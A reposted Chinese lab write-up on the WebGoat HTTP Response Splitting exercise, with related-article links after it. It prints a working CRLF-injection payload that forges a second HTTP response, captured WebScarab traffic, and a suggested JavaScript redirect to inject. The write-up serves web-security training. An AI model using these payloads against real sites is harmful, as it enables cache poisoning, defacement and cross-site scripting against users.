第一小节:HTTP Basics:使用Proxy软件(例如Webscarab)来截断浏览器(客户端)和Server之间的HTTP通信,之后任意篡改得到预期结果即可。

第二小节:HTTP Splitting:(其实应该为HTTP Response Splitting)

分为两步

1、HTTP Splitting:通过注入HTTP request使得Server返回两个HTTP response(最起码是使得接收到Server返回响应的目标自己认为是接收到了两个HTTP response),而不是一个。通过精心构造这第二个HTTP响应,攻击者可以达到任意目的!该攻击是因为server没有检查非法的数据输入就进行了 请求的重定向(code 3x x , "setcookie" 或者 "Location")。

2、Cache Poisoning;

HTTP Response Splitting介绍:

“HTTP Response Splitting” is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and an old favorite, cross-site scripting (XSS). This attack technique, and the derived attacks from it, are relevant to most web environments and is the result of the application’s failure to reject illegal user input, in this case, input containing malicious or unexpected characters.

HTTP Response Splitting漏洞成因:

The HTTP response splitting vulnerability is the result of the application’s failure to

reject illegal user input. Specifically, input containing malicious or unexpected CR

and LF characters.

HTTP Response Splitting攻击发生的前提条件是——Server存在安全漏洞时,即Server没有拒绝客户端的非法输入,并且Server脚本将用户输入的数据直接嵌入了HTTP response headers中。

并且,

HTTP1.1允许客户端和服务器在一个相同的TCP会话中交换多个HTTP请求,而HTTP1.0在每个HTTP交换之前都必需建立一个TCP连接。

HTTP Response Splitting攻击中的角色分析:

1、Web Server(具有可促使HTTP Response Splitting的安全漏洞)

2、Victim Target:一个能与Web Server正常交互的客户端(在WebGoat中也由Attacker来扮演)。可以为一个browser(一般具有浏览器cache)或者一个cache server(forward/reverse proxy)

3、Attacker——发启攻击者

HTTP Response Splitting攻击本质:

The essence of HTTP Response Splitting is the attacker’s ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. The first response may be partially controlled by the attacker, but this is less important. What is material is that the attacker completely controls the form of the second response from the HTTP status line to the last byte of the HTTP response body. Once this is possible, the attacker realizes the attack by sending two requests through the target. The first one invokes two responses from the web server, and the second request would typically be to some “innocent” resource on the web server. However, the second request would be matched, by the target, to the second HTTP response, which is fully controlled by the attacker. The attacker, therefore, tricks the target into believing that a particular resource on the web server (designated by the second request) is the server’s HTTP response (server content), while it is in fact some data, which is forged by the attacker through the web server – this is the second response.

HTTP Response Splitting攻击简析:

HTTP Response Splitting attacks take place where the server script embeds user data in HTTP response headers. This typically happens when the script embeds user data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds user data in a cookie value or name when the response sets a cookie.

即Server没有拒绝客户端的非法输入,并且Server脚本将用户输入的数据直接嵌入了HTTP response headers中。

server脚本将用户输入数据嵌入到HTTP redirection Response(HTTP status code 3xx)的重定向URL地址中(Location line)或者当response设置cookie时sever脚本将用户输入数据嵌入到cookie value/name中。

例子:

考虑以下JSP页面 (假设在/redir_lang.jsp):

<%

response.sendRedirect("/by_lang.jsp?lang="+

request.getParameter("lang"));

%>

当使用参数lang=English调用/redir_lang.jsp时,server会自动重定向到/by_lang.jsp?lang=English

HTTP响应和请求包格式(需调研!!!!)

CR = Carriage return ( %0d or /r or A SCII 1 3)
LF = Line Feed (%0a or /n or A SCII 1 0)
http is built as follow:
initial line, ends with CRLF
header lines, ends with CRLF
blank line (= CRLF)
body

因为数据要被解析为HTTP请求因此用CRLF替换LF。

HTTP Response Splitting攻击过程

在Webgoat测试页的输入框中输入畸形数据:

chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a<html>Hacked
by ZhengC</html>

可以在http://yehg.net/encoding/#中经URL解码查看数据内容,即:

chinese

Content-Length: 0

 

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 29

 

<html>Hacked by ZhengC</html>

这里需要注意的是 构建此畸形数据的时候要符合HTTP请求和响应的包格式。比如HTTP请求和响应都需要用CRLF(即%0d%0a)来隔开数据包的header和body。

而target解析到Content-Length: 0时,认为请求包的body内容为空,因此Content-Length: 0相当于将一个GET请求数据包中间截断为一个内容为0的GET请求和下面的数据包(我们精心构造为一个HTTP200响应)。

Webscarab截获POST请求和Server的Response

需要设置WebScarab

The Request sent to Server is:

POST http://localhost:8080/webgoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Proxy-Connection: keep-alive

Referer: http://localhost:8080/webgoat/attack?Screen=3&menu=100&Restart=3

Cookie: JSESSIONID=2CF8DFAB32C4CF39DB4023D1BB2EF98E

Content-Type: application/x-www-form-urlencoded

Content-length: 245

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

language=chinese%250d%250aContent-Length%3A%25200%250d%250a%250d%250aHTTP%2F1.1%2520200%2520OK%250d%250aContent-Type%3A%2520text%2Fhtml%250d%250aContent-Length%3A%252029%250d%250a%250d%250a%3Chtml%3EHacked+by+ZhengC%3C%2Fhtml%3E&SUBMIT=Search%21

Server sent response(302)to proxy:

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location:
http://localhost:8080/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a<html>Hacked
by ZhengC</html>

Content-Type: text/html;charset=ISO-8859-1

Content-length: 0

Date: Wed, 27 Oct 2010 06:18:13 GMT

result:
该项因为一个重定向(status code 302),我们输入的数据被放在了响应头的Location行里。
Server
重定向到一个新的URL:亦即第二个从Target发出的请求,这里的请求可以替换成任意的对该server的正常请求,因为当Server返回302
redirection响应的时候,Content-Length:0截断了GET请求,其下的经过精心构造的数据被Target解析为另一个为200
ok的HTTP响应包,并缓存在其cache上。
GET
http://localhost:8080/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a%3Chtml%3EHacked%20by%20ZhengC%3C/html%3E
HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://localhost:8080/webgoat/attack?Screen=3&menu=100&Restart=3
Cookie: JSESSIONID=2CF8DFAB32C4CF39DB4023D1BB2EF98E
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
当上述的(第二个)GET请求发出时,Proxy自动将200 ok的HTTP响应作为此请求的响应返回给Target。
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 08:00:00 CST
Content-Type: text/html
X-Transfer-Encoding: chunked
Date: Wed, 27 Oct 2010 06:41:50 GMT
Content-length: 29
<html>Hacked by ZhengC</html>
 
危害:
可以在此基础上在HTTP 200响应中加入JavaScript,例如
<script language="JavaScript">
document.location.href="http://www.baidu.com"
</script>
</html>
经URL编码
%3Chtml%3E%0A%3Cscript%20language%3D%22JavaScript%22%3E%0Adocument.location.href%3D%22http%3A%2F%2Fwww.baidu.com%22%0A%3C%2Fscript%3E%0A%3C%2Fhtml%3E
ps:此处的格式信息如换行不能使用%0d%0a,只能使用%0A(why?是因为此段HTML代码不需要在URL里进行识别格式信息,但是当作为html页面打开时只需要%0a即可显示格式信息)
试验中遇到的问题:
一、
因为WebGoat设计的缺陷,练习时Attacker和Target是同样的角色,因此当我对第二个GET请求
(GET
http://localhost:8080/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a%3Chtml%3EHacked%20by%20ZhengC%3C/html%3E
HTTP/1.1)进行篡改后(将Hacked by
Zhengc改为Hacked),最好攻击的结果为Hacked,让我一度陷入困境。最开始我假设认为是browser将Server第一次的响应报文中
的信息解析并误认为是两个HTTP响应,但是此结果否定了该假设,因为最后获得的响应结果(200 ok...
“Hacked”..)是根据第二次GET请求得到的,因此我误以为是得到这个GET的Server进行了误解析并将Content-Length:0后
面的数据判断为一个HTTP(200)响应,并将此响应返回给browser。这时就存在一个误区:为什么服务器会将一个GET请求包后面的一个HTTP
响应包格式的数据返回给发送GET的客户端!
最后发现问题在于,我使用的Webscarab本身就为一个Proxy,存在于browser和Server之间。所以,对于这个实验来说,应
该是三个角色模型而不仅仅是Client/Server的模型。对于Proxy来说,他分不清Server和Client的方向,只能根据所接受到的包格
式判断包信息并进行转发或cache,因此,当我篡改第二个GET里面的数据时,然后得到不同响应时,并不是Server端解析了这个GET请求后的响应
数据并返回,而是使得在Proxy接受到这个请求(转发给Server之前),解析得到一个GET请求以及其后的HTTP(200)响应数据格式,将这个
HTTP响应覆盖了Proxy在Server发回HTTP302响应时cache的其后的HTTP响应。此时,对于这个请求,其实不管是当前这个带有构造
的畸形数据的GET请求还是其他正常的GET请求,Proxy都会将缓存的HTTP(200)响应返回给Browser。
二、继续熟悉HTTP请求包和响应包的格式,构建除了HTTP(200 ok)响应外的其他响应!

HTTP Response Splitting攻击探究 <转>的更多相关文章

  1. CRLF——http response 拆分攻击(webgoat)

    0x01 什么是CRLF CRLF是“回车+换行”(\r和\n)/(%0d和%0a)的简称. CRLF利用: 正常输入的请求中加入恶意代码,控制HTTP响应header中的字符(Location,Se ...

  2. Fortify Audit Workbench 笔记 Header Manipulation

    Header Manipulation Abstract HTTP 响应头文件中包含未验证的数据会引发 cache-poisoning. cross-site scripting. cross-use ...

  3. Web攻击技术

    Web攻击技术 1.针对Web的攻击技术 1.1.在客户端即可篡改请求 在Web应用中,从浏览器那接收到的Http的全部内容,都可以在客户端自由地变更.篡改,所以Web应用可能会接收到与预期数据不相同 ...

  4. PHP的网站主要攻击方式有哪些?

    1.命令注入(Command Injection) 2.eval注入(Eval Injection) 3.客户端脚本攻击(Script Insertion) 4.跨网站脚本攻击(Cross Site ...

  5. 《图解Http》 10,11章:构建Web的技术, Web的攻击技术

    10.2动态HTML 通过调用客户端脚本语言js,实现对web页面的动态改造.利用DOM文档对象模型,指定想发生变化的元素. 10.22 更容易控制的DOM 使用DOM可以将HTML内的元素当作对象操 ...

  6. PHP的网站主要攻击方式有哪些

    1.命令注入(Command Injection) 2.eval注入(Eval Injection) 3.客户端脚本攻击(Script Insertion) 4.跨网站脚本攻击(Cross Site ...

  7. HTTP通信安全和Web攻击技术

    一.HTTPS,确保Web安全 在HTTP协议中可能存在信息窃听或身份伪装等安全问题,HTTP的不足: 通信使用明文(不加密),内容可能会被窃听  不验证通信方的身份,因此有可能遭遇伪装 无法证明报文 ...

  8. PHP 的网站主要攻击方式有哪些?

    1.命令注入(Command Injection)2.eval 注入(Eval Injection)3.客户端脚本攻击(Script Insertion)4.跨网站脚本攻击(Cross Site Sc ...

  9. CRLF攻击的一篇科普:新浪某站CRLF Injection导致的安全问题(转)

    转:https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html 新浪某站CRLF Injection导致的安全问题 PHITHON ...

随机推荐

  1. String和StringBuilder的使用

    如果有理解错误的地方希望有朋友能指出,谢谢!   String是特殊的引用类型的,更像值类型,StringBuilder的是规规矩矩引用类型的.   首先看这样的对比图,Equals()方法是判断两个 ...

  2. dapper 扩展插件: Rainbow

    dapper 扩展插件: Rainbow dapper 是一个效率非常高的orm  框架 ,效率要远远大于 我们大微软的EF .    它只有一个类文件,非常之小. 1,首先下载dapper  这里下 ...

  3. 微信JS-SDK分享接口示例中jsapi_ticket.php和access_token.php说明

    关于如何使用微信JS-SDK,可以查看官方介绍说明:查看链接 在使用分享接口的过程中,查看了示例代码,其中包含两个文件jsapi_ticket.php和access_token.php,记录一下这两个 ...

  4. C# 让程序自动以管理员身份运行

    exe在Vista或Win7下不以管理员权限运行,会被UAC(用户帐户控制)阻止访问系统某些功能,如修改注册表操作等;如何让exe以管理员权限运行呢,方法有两种,一个是直接修改exe属性;另一个是在程 ...

  5. 【CSS】圆角阴影边框CSS

    .someClassName { width:300px; display: inline-block; padding: 5px 10px 6px; text-decoration: none; b ...

  6. iOS由ImageIO.framework实现gif的系统解码

    首先先简单介绍一下gif的几个算是术语吧: frame(帧):一个gif可以简单认为是多张image组成的动画,一帧就是其中一张图片image. frameCount(帧数): 就是一个gif有多少帧 ...

  7. .net调用Outlook 批量发送邮件,可指定Outlook中的账号来发送邮件

    .net调用Outlook 批量发送邮件,可指定Outlook中的账号来发送邮件 源码可以在我的资源列表中下载: MPOEMail http://download.csdn.net/my VS2012 ...

  8. jquery禁用右键单击、F5刷新

    1.禁用右键单击功能 $(document).ready(function() { $(document).bind("contextmenu",function(e) { ale ...

  9. Ping其他电脑ping不通的解决方法

    要想Ping通其他电脑,首先要看被PING的电脑,是否允许PING. 一.在被PING电脑操作系统为XP下分为:1.被PING 电脑关闭了防火墙,就完全可以PING通:2.被PING 电脑开了防火墙, ...

  10. 用Arduino做一个可视化网络威胁级别指示器!

    在当今世界,网络监控器是非常重要的.互联网是个可怕的地方.人们已经采取措施以提高警戒----他们安装了入侵检测系统(IDS)比如SNORT. 通过把可视化部分从电脑中移出来,我们想让它更容易去观察.一 ...